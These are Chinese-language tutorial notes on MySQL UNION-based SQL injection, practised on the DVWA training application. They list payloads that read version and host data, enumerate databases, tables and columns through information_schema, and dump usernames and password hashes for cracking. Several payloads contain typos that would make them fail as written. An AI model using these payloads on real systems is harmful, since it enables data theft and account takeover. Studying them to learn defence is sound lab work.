SQL注入复杂语句查询
1 'select 1,2--空格 通过替换1,2 为user() vision()(版本) database()(数据库) 来在位置爆出2个信息
2 全局函数 @@datadir 参看当前数据库所在位置 F9调出hackbug 在里面进行注入 split URL分行(空格变为+)
@@hostname 机器主机名 @@VERSION 看版本 @@version_cmpile_os 操作系统版本
3 CHAR(77)=>M 如果被过滤用ASCCI码进行
4 之前只能在一个支段查询一个信息 用CONCAT_WS(CHAR(32,58,32),user(),database()),md5('b'),null(没有就用null) 进行user等查询 以CHAR的字符隔开 (连接作用 先写分隔符)
5 union select null,substring_index(USER(),"@",1)-- 进行切割 显示前面的
Mysql的数据结构
存在一张表里
从information_schema 里练习 都在这里面
1 查看所有的库 所有的表
' union select table_name,table_schenma from information_schema.tables-- 在information_schema库(原数据库)的table表里查询table_name等2个表
'UNION select table_schema,count(*) FROM information_Schenma.tables group by table_schema --
按计数查询 从原库的表里 按库归类 看table里面有多少个表
2 查看表名
' union select table_name,table_schenma from information_schema.tables where tanle_schema='dvwa'-- 是否有dvwa表
看爆出来的数据有一个user表
3 查看字段名
' union select table_name,coluname_name from information_schema.columns where tanle_schema='dvwa'and table_name='users'--
在这个库dvwa这个表users进行查 都有那些列column_name 爆出来的内容就是 table_name,coluname_name select的这两个 table_name='users'有个限制 当然也可以 table_name,table_schenma,coluname_name select 这3个
观察可疑的列进行查询
4 查询列的内容
' union select user,password from dvwa.users
' union select user,password from users(会在当前数据库中自动添加数据库)
' union select null,concat(user,0x3a,password))from users-- (concat连接作用 只是连接符在中间写) (null表示不再name位置爆出来东西了 所以仅仅是爆出的位置 位置在哪 在哪个字段显示 并不这个字段的东西 并不对应 页面上的值)
然后就是进行爆出来的密码破解了 下节讲述一个方法